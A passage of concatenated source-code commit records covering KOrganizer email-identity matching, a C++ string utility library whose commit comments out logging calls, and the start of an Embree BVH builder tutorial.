lst.end(); ++it ) {\n    fullEmails << me.fullEmail( *it );\n  }\n\n  \/\/ Warning, this list could contain duplicates.\n  return fullEmails;\n}\n\nbool KOPrefs::thatIsMe( const QString& _email )\n{\n  \/\/ NOTE: this method is called for every created agenda view item, so we need to keep\n  \/\/ performance in mind\n\n  \/* identityManager()->thatIsMe() is quite expensive since it does parsing of\n     _email in a way which is unnecessarily complex for what we can have here,\n     so we do that ourselves. This makes sense since this\n\n  if ( KOCore::self()->identityManager()->thatIsMe( _email ) )\n    return true;\n  *\/\n\n  \/\/ in case email contains a full name, strip it out\n  \/\/ the below is the simpler but slower version of the following KMime code\n  \/\/ const QString email = KPIM::getEmailAddress( _email );\n  const QCString tmp = _email.utf8();\n  const char *cursor = tmp.data();\n  const char *end = tmp.data() + tmp.length();\n  KMime::Types::Mailbox mbox;\n  KMime::HeaderParsing::parseMailbox( cursor, end, mbox );\n  const QString email = mbox.addrSpec.asString();\n\n  for ( KPIM::IdentityManager::ConstIterator it = KOCore::self()->identityManager()->begin();\n        it != KOCore::self()->identityManager()->end(); ++it ) {\n    if ( email == (*it).emailAddr() )\n      return true;\n  }\n\n  if ( mAdditionalMails.find( email ) != mAdditionalMails.end() )\n    return true;\n  QStringList lst = mMyAddrBookMails;\n  if ( lst.find( email ) != lst.end() )\n    return true;\n  return false;\n}\n<|endoftext|>"}
{"text":"<commit_before>\n#include <string>\n#include <sstream>\n#include <vector>\n#include <stdio.h>\n#include <cstdarg>\n\n#include <sys\/ioctl.h>\n#include <stdio.h>\n\n\n#include \"string.h\"     \/\/ Own definitions\n\nnamespace au {\n    \n    std::string tabs(int t)\n    {\n        std::ostringstream output;\n        for ( int i = 0 ; i < t ; i ++)\n            output << \"\\t\";\n        return output.str();\n    }\n    \n    std::string percentage_string( double p )\n\t{\n\t\tchar line[2000];\n\t\tsprintf(line, \"%05.1f%%\",p*100);\n\t\treturn std::string(line);\n\t}\n    \n\tstd::string percentage_string( double value , double total )\n\t{\n\t\tif ( total == 0)\n\t\t\treturn percentage_string( 0 );\n\t\telse\n\t\t\treturn percentage_string( value \/ total);\n\t}\n\t\n\t\n\tstd::string int_string(int value, int digits)\n\t{\n\t\t\n\t\tchar line[100];\n\t\tchar format[100];\n\t\t\n\t\tsprintf(format, \"%%%dd\",digits);\n\t\tsprintf(line, format,value ); \n\t\treturn std::string(line);\n\t}\n\t\n\tstd::string time_string( size_t seconds )\n\t{\n        \n        int days = 0;\n        while( seconds > (3600*24) )\n        {\n            days++;\n            seconds-= (3600*24);\n        }\n        \n\t\tint minutes = seconds\/60;\n\t\tseconds -= minutes*60;\n\t\t\n\t\tint hours = minutes\/60;\n\t\tminutes -= hours*60;\n\t\t\n        if( days > 0 )\n            return au::str( \"%02dd %02d:%02d\" , days , hours , minutes );\n        \n        return au::str( \" %02d:%02d:%02d\" , hours , minutes , (int)seconds);\n        \n\t\t\n\t}\n    \n    std::string progress_bar( double p , int len )\n    {\n        std::ostringstream output;\n        \n        \n        if( p < 0 )\n            p = 0;\n        if( p > 1 )\n            p = 1;\n        \n        int pos = len * p;\n        \n        output << \" [ \";\n        for (int s = 0 ; s < pos ; s++ )\n            output << \"*\";\n        for (int s = pos ; s < len ; s++ )\n            output << \".\";\n        output << \" ] \";\n        \n        return  output.str();\n    }\n    \n    std::string progress_bar( double p , int len , char c , char c2 )\n    {\n        std::ostringstream output;\n        \n        \n        if( p < 0 )\n            p = 0;\n        if( p > 1 )\n            p = 1;\n        \n        int pos = len * p;\n        \n        output << \" [ \";\n        for (int s = 0 ; s < pos ; s++ )\n            output << c;\n        for (int s = pos ; s < len ; s++ )\n            output << c2;\n        output << \" ] \";\n        \n        return  output.str();\n    }    \n    \n    std::string double_progress_bar( double p1 , double p2 , char c1 ,char c2 , char c3, int len )\n    {\n        std::ostringstream output;\n        \n        \n        if( p1 < 0 )\n            p1 = 0;\n        if( p1 > 1 )\n            p1 = 1;\n        \n        if( p2 < 0 )\n            p2 = 0;\n        if( p2 > 1 )\n            p2 = 1;\n        \n        if( p2 < p1 )\n            p2 = p1;    \/\/ no sense\n        \n        \n        int pos1 = (double)len * p1;\n        int pos2 = (double)len * p2;\n        \n        output << \" [ \";\n        \n        for (int s = 0 ; s < pos1 ; s++ )\n            output << c1;\n        \n        for (int s = pos1 ; s < pos2 ; s++ )\n            output << c2;\n        \n        for (int s = pos2 ; s < len ; s++ )\n            output << c3;\n        \n        output << \" ] \";\n        \n        return  output.str();\n    }\n    \n    void find_and_replace( std::string &source, const std::string find, std::string replace ) \n    {\n        size_t pos = 0;\n        \n        \/\/LM_M((\"Finding string of %d bytes at position %lu of a string with length %lu\" , find.length() , pos , source.length() ));\n        pos = source.find( find , pos );\n        \/\/LM_M((\"Position found %lu bytes\" , find.length() ));\n        \n        while(pos != std::string::npos )\n        {\n            source.replace( pos, find.length(), replace );\n            \n            \/\/ Go forward in the input string\n            pos += replace.length();\n            \n            \/\/LM_M((\"Finding string of %d bytes at position %lu of a string with length %lu\" , find.length() , pos , source.length() ));\n            pos = source.find( find , pos );\n            \/\/LM_M((\"Position found %lu bytes\" , find.length() ));\n            \n            \n        }\n    }\n    \n    std::string getRoot( std::string& path )\n    {\n        size_t pos = path.find( \".\" , 0 );\n        \n        if( pos == std::string::npos )\n            return path;\n        \n        return path.substr( 0 , pos );\n    }\n    \n    std::string getRest( std::string& path )\n    {\n        size_t pos = path.find( \".\" , 0 );\n        \n        if( pos == std::string::npos )\n            return \"\";\n        \n        return path.substr( pos+1 , path.length() );\n    }    \n    \n    \n    std::string indent( std::string txt )\n    {\n        \/\/ Replace all \"returns\" by \"return and tab\"\n        find_and_replace( txt , \"\\n\" , \"\\n\\t\" );\n        \n        \/\/ Insert the first tab\n        txt.insert(0, \"\\t\");\n        return txt;\n    }\n    \n    std::string indent( std::string txt , int num_spaces )\n    {\n        std::string sep;\n        for (int i = 0 ; i < num_spaces ; i++ )\n            sep.insert(0, \" \");\n        \n        \/\/ Replace all \"returns\" by \"return and tab\"\n        find_and_replace( txt , \"\\n\" , \"\\n\" + sep );\n        \n        \/\/ Insert the first tab\n        txt.insert(0, sep);\n        return txt;\n    }\n    \n    std::string str( double value, char  letter )\n\t{\n\t\tchar line[2000];\n\t\t\n\t\tif ( value < 10 )\n\t\t\tsprintf(line, \"%4.2f%c\",value,letter);\n\t\telse if ( value < 100 )\n\t\t\tsprintf(line, \"%4.1f%c\",value,letter);\n\t\telse \n\t\t\tsprintf(line, \"%4.0f%c\",value,letter);\n\t\t\n\t\t\n\t\treturn std::string( line );\n\t}\n\t\n\n\t\n    \n    std::string str(const char* format, ...)\n    {\n        va_list        args;\n        char           vmsg[2048];\n        \n        \/* \"Parse\" the varible arguments *\/\n        va_start(args, format);\n        \n        \/* Print message to variable *\/\n        vsnprintf(vmsg, sizeof(vmsg), format, args);\n        \/\/vmsg[2047] = 0;\n        va_end(args);\n        \n        return std::string(vmsg);\n    }        \n    \n\tstd::string str( size_t value )\n\t{\n\t\t\n\t\tif (value < 1000)\n        {\n            \/\/ Special case\n            return au::str(\"%4d \", (int)value );\n\t\t\t\/\/return au::str( (double)value , ' ' );\n        }\n\t\telse if( value < 1000000)\n\t\t\treturn au::str( (double)value\/ 1000.0 , 'K');\n\t\telse if( value < 1000000000)\n\t\t\treturn au::str( (double)value\/ 1000000.0 , 'M');\n\t\telse if( value < 1000000000000)\n\t\t\treturn au::str( (double)value\/ 1000000000.0 , 'G');\n\t\telse if( value < 1000000000000000)\n\t\t\treturn au::str( (double)value\/ 1000000000000.0 , 'T');\n\t\telse \n\t\t\treturn au::str( (double)value\/ 1000000000000000.0 , 'P');\n\t\t\n\t}    \n    \n\tstd::string str( size_t value , std::string postfix )\n\t{\n\t\treturn str( value ) + postfix;\n\t}\n    \n    \n    bool isOneOf( char c , std::string s )\n\t{\n\t\tfor (size_t i = 0 ; i < s.size() ; i++)\n\t\t\tif( s[i] == c )\n\t\t\t\treturn true;\n\t\t\n\t\treturn false;\n\t}\n    \n    std::vector<std::string> simpleTockenize( std::string txt )\n\t{\n\t\tstd::string tockens = \" #\\r\\t\\r\\n{};\\\"\";\/\/All possible delimiters\n\t\t\n\t\tstd::vector<std::string> items;\n\t\t\n\t\t\/\/ Simple parser\n\t\tsize_t pos = 0;\n\t\tfor (size_t i = 0 ; i < txt.size() ; i++)\n\t\t{\n\t\t\tif ( isOneOf( txt[i] , tockens ) )\n\t\t\t{\n\t\t\t\tif ( i > pos )\n\t\t\t\t\titems.push_back(txt.substr(pos, i - pos ));\n\t\t\t\t\/*\n                 \/\/Emit the literal with one letter if that is the case\n                 std::ostringstream o;\n                 o << txt[i];\n                 items.push_back( o.str() );\n                 *\/\n\t\t\t\tpos = i+1;\n\t\t\t}\n\t\t}\n        \n        if ( txt.size() > pos )\n            items.push_back(txt.substr(pos, txt.size() - pos ));\n\t\t\n\t\t\n\t\treturn items;\n\t}\n    \n    \n    std::vector<std::string> &split(const std::string &s, char delim, std::vector<std::string> &elems) \n    {\n        std::stringstream ss(s);\n        std::string item;\n        while(std::getline(ss, item, delim)) {\n            elems.push_back(item);\n        }\n        return elems;\n    }\n    \n    \n    std::vector<std::string> split(const std::string &s, char delim) \n    {\n        std::vector<std::string> elems;\n        return split(s, delim, elems);\n    }  \n\n    int get_term_size (int fd, int *x, int *y)\n    {\n#ifdef TIOCGSIZE\n\tstruct ttysize win;\n\t\n#elif defined(TIOCGWINSZ)\n\tstruct winsize win;\n\t\n#endif\n\t\n#ifdef TIOCGSIZE\n\tif (ioctl (fd, TIOCGSIZE, &win))\n\t    return 0;\n\tif (y)\n\t    *y=win.ts_lines;\n    if (x)\n        *x=win.ts_cols;\n#elif defined TIOCGWINSZ\n    if (ioctl (fd, TIOCGWINSZ, &win))\n        return 0;\n    if (y)\n        *y=win.ws_row;\n    if (x)\n        *x=win.ws_col;\n#else\n    {\n        const char *s;\n        s=getenv(\"LINES\");\n        if (s)\n            *y=strtol(s,NULL,10);\n        else\n            *y=25;\n        s=getenv(\"COLUMNS\");\n        if (s)\n            *x=strtol(s,NULL,10);\n        else\n            *x=80;\n    }\n#endif\n\n    return 1;\n    \n    }\n    \n    \n    \n    int getTerminalWidth()\n    {\n\tint x,y;\n\tif( get_term_size (0, &x, &y) )\n\t    return x;\n\telse\n\t  return 0;\n\n    }\n    \n    std::string strWithMaxLineLength( std::string& txt , int max_line_length )\n    {\n        std::istringstream input_stream( txt );\n        \n        std::ostringstream output;\n        \n        char line[1024];\n        \n        while( input_stream.getline( line, 1023 ) )\n        {\n            \n            int line_length = (int)strlen(line);\n            \n            if( line_length > max_line_length )\n            {\n                line[max_line_length-1] = '\\0';\n                line[max_line_length-2] = '.';\n                line[max_line_length-3] = '.';\n                line[max_line_length-4] = '.';\n                \n                LM_M((\"Exesive line %d \/ %d \", line_length , max_line_length )); \n            }\n            else\n            {\n                LM_M((\"Normal line %d \/ %d\", line_length , max_line_length )); \n            }\n            \n            output << line << \"\\n\";\n        }\n        return output.str();\n    }\n    \n    std::string strToConsole( std::string& txt )\n    {\n        return strWithMaxLineLength( txt , getTerminalWidth() );\n    }\n    \n    \n\n}\n<commit_msg>Remove old traces<commit_after>\n#include <string>\n#include <sstream>\n#include <vector>\n#include <stdio.h>\n#include <cstdarg>\n\n#include <sys\/ioctl.h>\n#include <stdio.h>\n\n\n#include \"string.h\"     \/\/ Own definitions\n\nnamespace au {\n    \n    std::string tabs(int t)\n    {\n        std::ostringstream output;\n        for ( int i = 0 ; i < t ; i ++)\n            output << \"\\t\";\n        return output.str();\n    }\n    \n    std::string percentage_string( double p )\n\t{\n\t\tchar line[2000];\n\t\tsprintf(line, \"%05.1f%%\",p*100);\n\t\treturn std::string(line);\n\t}\n    \n\tstd::string percentage_string( double value , double total )\n\t{\n\t\tif ( total == 0)\n\t\t\treturn percentage_string( 0 );\n\t\telse\n\t\t\treturn percentage_string( value \/ total);\n\t}\n\t\n\t\n\tstd::string int_string(int value, int digits)\n\t{\n\t\t\n\t\tchar line[100];\n\t\tchar format[100];\n\t\t\n\t\tsprintf(format, \"%%%dd\",digits);\n\t\tsprintf(line, format,value ); \n\t\treturn std::string(line);\n\t}\n\t\n\tstd::string time_string( size_t seconds )\n\t{\n        \n        int days = 0;\n        while( seconds > (3600*24) )\n        {\n            days++;\n            seconds-= (3600*24);\n        }\n        \n\t\tint minutes = seconds\/60;\n\t\tseconds -= minutes*60;\n\t\t\n\t\tint hours = minutes\/60;\n\t\tminutes -= hours*60;\n\t\t\n        if( days > 0 )\n            return au::str( \"%02dd %02d:%02d\" , days , hours , minutes );\n        \n        return au::str( \" %02d:%02d:%02d\" , hours , minutes , (int)seconds);\n        \n\t\t\n\t}\n    \n    std::string progress_bar( double p , int len )\n    {\n        std::ostringstream output;\n        \n        \n        if( p < 0 )\n            p = 0;\n        if( p > 1 )\n            p = 1;\n        \n        int pos = len * p;\n        \n        output << \" [ \";\n        for (int s = 0 ; s < pos ; s++ )\n            output << \"*\";\n        for (int s = pos ; s < len ; s++ )\n            output << \".\";\n        output << \" ] \";\n        \n        return  output.str();\n    }\n    \n    std::string progress_bar( double p , int len , char c , char c2 )\n    {\n        std::ostringstream output;\n        \n        \n        if( p < 0 )\n            p = 0;\n        if( p > 1 )\n            p = 1;\n        \n        int pos = len * p;\n        \n        output << \" [ \";\n        for (int s = 0 ; s < pos ; s++ )\n            output << c;\n        for (int s = pos ; s < len ; s++ )\n            output << c2;\n        output << \" ] \";\n        \n        return  output.str();\n    }    \n    \n    std::string double_progress_bar( double p1 , double p2 , char c1 ,char c2 , char c3, int len )\n    {\n        std::ostringstream output;\n        \n        \n        if( p1 < 0 )\n            p1 = 0;\n        if( p1 > 1 )\n            p1 = 1;\n        \n        if( p2 < 0 )\n            p2 = 0;\n        if( p2 > 1 )\n            p2 = 1;\n        \n        if( p2 < p1 )\n            p2 = p1;    \/\/ no sense\n        \n        \n        int pos1 = (double)len * p1;\n        int pos2 = (double)len * p2;\n        \n        output << \" [ \";\n        \n        for (int s = 0 ; s < pos1 ; s++ )\n            output << c1;\n        \n        for (int s = pos1 ; s < pos2 ; s++ )\n            output << c2;\n        \n        for (int s = pos2 ; s < len ; s++ )\n            output << c3;\n        \n        output << \" ] \";\n        \n        return  output.str();\n    }\n    \n    void find_and_replace( std::string &source, const std::string find, std::string replace ) \n    {\n        size_t pos = 0;\n        \n        \/\/LM_M((\"Finding string of %d bytes at position %lu of a string with length %lu\" , find.length() , pos , source.length() ));\n        pos = source.find( find , pos );\n        \/\/LM_M((\"Position found %lu bytes\" , find.length() ));\n        \n        while(pos != std::string::npos )\n        {\n            source.replace( pos, find.length(), replace );\n            \n            \/\/ Go forward in the input string\n            pos += replace.length();\n            \n            \/\/LM_M((\"Finding string of %d bytes at position %lu of a string with length %lu\" , find.length() , pos , source.length() ));\n            pos = source.find( find , pos );\n            \/\/LM_M((\"Position found %lu bytes\" , find.length() ));\n            \n            \n        }\n    }\n    \n    std::string getRoot( std::string& path )\n    {\n        size_t pos = path.find( \".\" , 0 );\n        \n        if( pos == std::string::npos )\n            return path;\n        \n        return path.substr( 0 , pos );\n    }\n    \n    std::string getRest( std::string& path )\n    {\n        size_t pos = path.find( \".\" , 0 );\n        \n        if( pos == std::string::npos )\n            return \"\";\n        \n        return path.substr( pos+1 , path.length() );\n    }    \n    \n    \n    std::string indent( std::string txt )\n    {\n        \/\/ Replace all \"returns\" by \"return and tab\"\n        find_and_replace( txt , \"\\n\" , \"\\n\\t\" );\n        \n        \/\/ Insert the first tab\n        txt.insert(0, \"\\t\");\n        return txt;\n    }\n    \n    std::string indent( std::string txt , int num_spaces )\n    {\n        std::string sep;\n        for (int i = 0 ; i < num_spaces ; i++ )\n            sep.insert(0, \" \");\n        \n        \/\/ Replace all \"returns\" by \"return and tab\"\n        find_and_replace( txt , \"\\n\" , \"\\n\" + sep );\n        \n        \/\/ Insert the first tab\n        txt.insert(0, sep);\n        return txt;\n    }\n    \n    std::string str( double value, char  letter )\n\t{\n\t\tchar line[2000];\n\t\t\n\t\tif ( value < 10 )\n\t\t\tsprintf(line, \"%4.2f%c\",value,letter);\n\t\telse if ( value < 100 )\n\t\t\tsprintf(line, \"%4.1f%c\",value,letter);\n\t\telse \n\t\t\tsprintf(line, \"%4.0f%c\",value,letter);\n\t\t\n\t\t\n\t\treturn std::string( line );\n\t}\n\t\n\n\t\n    \n    std::string str(const char* format, ...)\n    {\n        va_list        args;\n        char           vmsg[2048];\n        \n        \/* \"Parse\" the varible arguments *\/\n        va_start(args, format);\n        \n        \/* Print message to variable *\/\n        vsnprintf(vmsg, sizeof(vmsg), format, args);\n        \/\/vmsg[2047] = 0;\n        va_end(args);\n        \n        return std::string(vmsg);\n    }        \n    \n\tstd::string str( size_t value )\n\t{\n\t\t\n\t\tif (value < 1000)\n        {\n            \/\/ Special case\n            return au::str(\"%4d \", (int)value );\n\t\t\t\/\/return au::str( (double)value , ' ' );\n        }\n\t\telse if( value < 1000000)\n\t\t\treturn au::str( (double)value\/ 1000.0 , 'K');\n\t\telse if( value < 1000000000)\n\t\t\treturn au::str( (double)value\/ 1000000.0 , 'M');\n\t\telse if( value < 1000000000000)\n\t\t\treturn au::str( (double)value\/ 1000000000.0 , 'G');\n\t\telse if( value < 1000000000000000)\n\t\t\treturn au::str( (double)value\/ 1000000000000.0 , 'T');\n\t\telse \n\t\t\treturn au::str( (double)value\/ 1000000000000000.0 , 'P');\n\t\t\n\t}    \n    \n\tstd::string str( size_t value , std::string postfix )\n\t{\n\t\treturn str( value ) + postfix;\n\t}\n    \n    \n    bool isOneOf( char c , std::string s )\n\t{\n\t\tfor (size_t i = 0 ; i < s.size() ; i++)\n\t\t\tif( s[i] == c )\n\t\t\t\treturn true;\n\t\t\n\t\treturn false;\n\t}\n    \n    std::vector<std::string> simpleTockenize( std::string txt )\n\t{\n\t\tstd::string tockens = \" #\\r\\t\\r\\n{};\\\"\";\/\/All possible delimiters\n\t\t\n\t\tstd::vector<std::string> items;\n\t\t\n\t\t\/\/ Simple parser\n\t\tsize_t pos = 0;\n\t\tfor (size_t i = 0 ; i < txt.size() ; i++)\n\t\t{\n\t\t\tif ( isOneOf( txt[i] , tockens ) )\n\t\t\t{\n\t\t\t\tif ( i > pos )\n\t\t\t\t\titems.push_back(txt.substr(pos, i - pos ));\n\t\t\t\t\/*\n                 \/\/Emit the literal with one letter if that is the case\n                 std::ostringstream o;\n                 o << txt[i];\n                 items.push_back( o.str() );\n                 *\/\n\t\t\t\tpos = i+1;\n\t\t\t}\n\t\t}\n        \n        if ( txt.size() > pos )\n            items.push_back(txt.substr(pos, txt.size() - pos ));\n\t\t\n\t\t\n\t\treturn items;\n\t}\n    \n    \n    std::vector<std::string> &split(const std::string &s, char delim, std::vector<std::string> &elems) \n    {\n        std::stringstream ss(s);\n        std::string item;\n        while(std::getline(ss, item, delim)) {\n            elems.push_back(item);\n        }\n        return elems;\n    }\n    \n    \n    std::vector<std::string> split(const std::string &s, char delim) \n    {\n        std::vector<std::string> elems;\n        return split(s, delim, elems);\n    }  \n\n    int get_term_size (int fd, int *x, int *y)\n    {\n#ifdef TIOCGSIZE\n\tstruct ttysize win;\n\t\n#elif defined(TIOCGWINSZ)\n\tstruct winsize win;\n\t\n#endif\n\t\n#ifdef TIOCGSIZE\n\tif (ioctl (fd, TIOCGSIZE, &win))\n\t    return 0;\n\tif (y)\n\t    *y=win.ts_lines;\n    if (x)\n        *x=win.ts_cols;\n#elif defined TIOCGWINSZ\n    if (ioctl (fd, TIOCGWINSZ, &win))\n        return 0;\n    if (y)\n        *y=win.ws_row;\n    if (x)\n        *x=win.ws_col;\n#else\n    {\n        const char *s;\n        s=getenv(\"LINES\");\n        if (s)\n            *y=strtol(s,NULL,10);\n        else\n            *y=25;\n        s=getenv(\"COLUMNS\");\n        if (s)\n            *x=strtol(s,NULL,10);\n        else\n            *x=80;\n    }\n#endif\n\n    return 1;\n    \n    }\n    \n    \n    \n    int getTerminalWidth()\n    {\n\tint x,y;\n\tif( get_term_size (0, &x, &y) )\n\t    return x;\n\telse\n\t  return 0;\n\n    }\n    \n    std::string strWithMaxLineLength( std::string& txt , int max_line_length )\n    {\n        std::istringstream input_stream( txt );\n        \n        std::ostringstream output;\n        \n        char line[1024];\n        \n        while( input_stream.getline( line, 1023 ) )\n        {\n            \n            int line_length = (int)strlen(line);\n            \n            if( line_length > max_line_length )\n            {\n                line[max_line_length-1] = '\\0';\n                line[max_line_length-2] = '.';\n                line[max_line_length-3] = '.';\n                line[max_line_length-4] = '.';\n                \n                \/\/LM_M((\"Exesive line %d \/ %d \", line_length , max_line_length )); \n            }\n            else\n            {\n\t\t\t   \/\/LM_M((\"Normal line %d \/ %d\", line_length , max_line_length )); \n            }\n            \n            output << line << \"\\n\";\n        }\n        return output.str();\n    }\n    \n    std::string strToConsole( std::string& txt )\n    {\n        return strWithMaxLineLength( txt , getTerminalWidth() );\n    }\n    \n    \n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ ======================================================================== \/\/\n\/\/ Copyright 2009-2017 Intel Corporation                                    \/\/\n\/\/                                                                          \/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");          \/\/\n\/\/ you may not use this file except in compliance with the License.         \/\/\n\/\/ You may obtain a copy of the License at                                  \/\/\n\/\/                                                                          \/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                           \/\/\n\/\/                                                                          \/\/\n\/\/ Unless required by applicable law or agreed to in writing, software      \/\/\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,        \/\/\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \/\/\n\/\/ See the License for the specific language governing permissions and      \/\/\n\/\/ limitations under the License.                                           \/\/\n\/\/ ======================================================================== \/\/\n\n#define INTERNAL_BVH_BUILD 1\n\n#include \"..\/common\/tutorial\/tutorial_device.h\"\n\n#if INTERNAL_BVH_BUILD\n#include \"..\/..\/kernels\/common\/alloc.h\"\n#include \"..\/..\/kernels\/builders\/bvh_builder_sah.h\"\n#include \"..\/..\/kernels\/builders\/bvh_builder_morton.h\"\n#endif\n\nnamespace embree\n{\n  RTCDevice g_device = nullptr;\n  RTCScene g_scene  = nullptr;\n\n  \/* This function is called by the builder to signal progress and to\n   * report memory consumption. *\/\n  bool memoryMonitor(void* userPtr, ssize_t bytes, bool post) {\n    return true;\n  }\n  \n  struct Node\n  {\n    virtual float sah() = 0;\n  };\n  \n  struct InnerNode : public Node\n  {\n    BBox3fa bounds[2];\n    Node* children[2];\n    \n    InnerNode() {\n      bounds[0] = bounds[1] = empty;\n      children[0] = children[1] = nullptr;\n    }\n    \n    float sah() {\n      return 1.0f + (area(bounds[0])*children[0]->sah() + area(bounds[1])*children[1]->sah())\/area(merge(bounds[0],bounds[1]));\n    }\n\n    static void* create (RTCThreadLocalAllocator alloc, size_t numChildren, void* userPtr) \n    {\n      assert(numChildren == 2);\n      void* ptr = rtcThreadLocalAlloc(alloc,sizeof(InnerNode),16);\n      return (void*) new (ptr) InnerNode;\n    }\n    \n    static void  setChild (void* nodePtr, size_t i, void* childPtr, void* userPtr)\n    {\n      assert(i<2);\n      ((InnerNode*)nodePtr)->children[i] = (Node*) childPtr;\n    }\n    \n    static void  setBounds (void* nodePtr, size_t i, RTCBounds& bounds, void* userPtr)\n    {\n      ((InnerNode*)nodePtr)->bounds[i] = (BBox3fa&) bounds;\n    }\n  };\n  \n  struct LeafNode : public Node\n  {\n    unsigned id;\n    BBox3fa bounds;\n    \n    LeafNode (unsigned id, const BBox3fa& bounds)\n      : id(id), bounds(bounds) {}\n    \n    float sah() {\n      return 1.0f;\n    }\n    \n    static void* create (RTCThreadLocalAllocator alloc, const RTCBuildPrimitive* prims, size_t numPrims, void* userPtr)\n    {\n      assert(numPrims == 1);\n      void* ptr = rtcThreadLocalAlloc(alloc,sizeof(LeafNode),16);\n      return (void*) new (ptr) LeafNode(prims->primID,*(BBox3fa*)prims);\n    }\n  };\n\n#if INTERNAL_BVH_BUILD\n  void build_sah(PrimRef* prims, size_t N)\n  {\n    \/* fast allocator that supports thread local operation *\/\n    FastAllocator allocator(nullptr,false);\n    \n    for (size_t i=0; i<10; i++)\n    {\n      std::cout << \"iteration \" << i << \": building BVH over \" << N << \" primitives, \" << std::flush;\n      double t0 = getSeconds();\n      \n      allocator.reset();\n      allocator.init(N);\n\n      \/* calculate priminfo *\/\n      auto computeBounds = [&](const range<size_t>& r) -> isa::CentGeomBBox3fa\n        {\n          isa::CentGeomBBox3fa bounds(empty);\n          for (size_t j=r.begin(); j<r.end(); j++)\n            bounds.extend(prims[j].bounds());\n          return bounds;\n        };\n      const isa::CentGeomBBox3fa bounds = \n        parallel_reduce(size_t(0),N,size_t(1024),size_t(1024),isa::CentGeomBBox3fa(empty), computeBounds, isa::CentGeomBBox3fa::merge2);\n      \n      const isa::PrimInfo pinfo(0,N,bounds.geomBounds,bounds.centBounds);\n\n       \/* settings for BVH build *\/\n      isa::GeneralBVHBuilder::Settings settings;\n      settings.branchingFactor = 2;\n      settings.maxDepth = 1024;\n      settings.logBlockSize = 0;\n      settings.minLeafSize = 1;\n      settings.maxLeafSize = 1;\n      settings.travCost = 1.0f;\n      settings.intCost = 1.0f;\n      settings.singleThreadThreshold = Builder::DEFAULT_SINGLE_THREAD_THRESHOLD;\n      \n      Node* root = isa::BVHBuilderBinnedSAH::build<Node*>(\n\n        \/* thread local allocator for fast allocations *\/\n        [&] () -> FastAllocator::ThreadLocal* { \n          return allocator.threadLocal(); \n        },\n\n        \/* lambda function that creates BVH nodes *\/\n        [&](isa::BVHBuilderBinnedSAH::BuildRecord* children, const size_t N, FastAllocator::ThreadLocal* alloc) -> Node*\n        {\n          assert(N <= 2);\n          InnerNode* node = new (alloc->malloc(sizeof(InnerNode))) InnerNode;\n          for (size_t i=0; i<N; i++)\n            node->bounds[i] = children[i].prims.geomBounds;\n          return node;\n        },\n\n        \/* lambda function that updates BVH nodes *\/\n        [&](Node* ref, Node** children, const size_t N) -> Node*\n        {\n          assert(N <= 2);\n          InnerNode* node = (InnerNode*) ref;\n          for (size_t i=0; i<N; i++)\n            node->children[i] = children[i];\n          return ref;\n        },\n        \n        \/* lambda function that creates BVH leaves *\/\n        [&](const isa::BVHBuilderBinnedSAH::BuildRecord& current, FastAllocator::ThreadLocal* alloc) -> Node*\n        {\n          assert(current.prims.size() == 1);\n          Node* node = new (alloc->malloc(sizeof(LeafNode))) LeafNode(prims[current.prims.begin()].primID(),prims[current.prims.begin()].bounds());\n          return node;\n        },\n        \n        \/* progress monitor function *\/\n        [&] (size_t dn) { \n          \/\/ throw an exception here to cancel the build operation\n        },\n        \n        prims,pinfo,settings);\n      \n      double t1 = getSeconds();\n      \n      std::cout << 1000.0f*(t1-t0) << \"ms, \" << 1E-6*double(N)\/(t1-t0) << \" Mprims\/s, sah = \" << root->sah() << \" [DONE]\" << std::endl;\n    }\n  }\n#endif\n\n  void buildProgress (size_t dn, void* userPtr) {\n  }\n\n  void build_sah_api(RTCBuildPrimitive* prims, size_t N, char* cfg)\n  {\n    RTCDevice device = rtcNewDevice(cfg);\n    rtcDeviceSetMemoryMonitorFunction2(device,memoryMonitor,nullptr);\n\n    RTCBVH bvh = rtcNewBVH(device);\n\n    \/* settings for BVH build *\/\n    RTCBuildSettings settings;\n    settings.size = sizeof(settings);\n    settings.branchingFactor = 2;\n    settings.maxDepth = 1024;\n    settings.blockSize = 1;\n    settings.minLeafSize = 1;\n    settings.maxLeafSize = 1;\n    settings.travCost = 1.0f;\n    settings.intCost = 1.0f;\n    \n    for (size_t i=0; i<10; i++)\n    {\n      std::cout << \"iteration \" << i << \": building BVH over \" << N << \" primitives, \" << std::flush;\n      double t0 = getSeconds();\n      Node* root = (Node*) rtcBVHBuildSAH(bvh,settings,prims,N,nullptr,\n                                          InnerNode::create,InnerNode::setChild,InnerNode::setBounds,LeafNode::create,buildProgress);\n      double t1 = getSeconds();\n      \n      std::cout << 1000.0f*(t1-t0) << \"ms, \" << 1E-6*double(N)\/(t1-t0) << \" Mprims\/s, sah = \" << root->sah() << \" [DONE]\" << std::endl;\n    }\n    rtcMakeStaticBVH(bvh);\n    rtcDeleteBVH(bvh);\n  }\n\n#if INTERNAL_BVH_BUILD\n  void build_morton(PrimRef* prims, size_t N)\n  {\n    \/* array for morton builder *\/\n    avector<isa::BVHBuilderMorton::BuildPrim> morton_src(N);\n    avector<isa::BVHBuilderMorton::BuildPrim> morton_tmp(N);\n    for (unsigned i=0; i<N; i++) \n      morton_src[i].index = i;\n    \n    \/* fast allocator that supports thread local operation *\/\n    FastAllocator allocator(nullptr,true);\n    \n    for (size_t i=0; i<10; i++)\n    {\n      std::cout << \"iteration \" << i << \": building BVH over \" << N << \" primitives, \" << std::flush;\n      double t0 = getSeconds();\n      \n      allocator.reset();\n      allocator.init(16*N);\n      \n      std::pair<Node*,BBox3fa> node_bounds = isa::BVHBuilderMorton::build<std::pair<Node*,BBox3fa>>(\n        \n        \/* thread local allocator for fast allocations *\/\n        [&] () -> FastAllocator::ThreadLocal* { \n          return allocator.threadLocal(); \n        },\n        \n        \/* lambda function that allocates BVH nodes *\/\n        [&] ( FastAllocator::ThreadLocal* alloc, size_t N ) -> Node*\n        {\n          assert(N <= 2);\n          InnerNode* node = new (alloc->malloc(sizeof(InnerNode))) InnerNode;\n          return node;\n        },\n        \n        \/* lambda function that sets bounds *\/\n        [&] (Node* ref, const std::pair<Node*,BBox3fa>* children, size_t N) -> std::pair<Node*,BBox3fa>\n        {\n          InnerNode* node = (InnerNode*) ref;\n          BBox3fa bounds = empty;\n          for (size_t i=0; i<N; i++) {\n            node->children[i] = children[i].first;\n            